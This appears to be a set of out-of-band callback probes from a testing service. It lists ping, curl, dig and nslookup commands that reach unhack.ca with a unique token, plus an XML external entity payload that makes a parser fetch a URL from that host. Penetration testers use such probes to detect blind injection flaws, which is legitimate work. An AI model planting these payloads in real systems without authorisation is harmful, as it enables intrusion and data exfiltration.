$ ping -c1 -p 0004056638d9456be9760b89aa258500 unhack.ca
$ curl http://unhack.ca/p/04056638d9456be9760b89aa2585
$ dig 04056638d9456be9760b89aa2585 @unhack.ca
$ dig 04056638d9456be9760b89aa2585.ns.unhack.ca
C:\> nslookup 04056638d9456be9760b89aa2585 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/04056638d9456be9760b89aa2585">]> <foo>&xxe;</foo>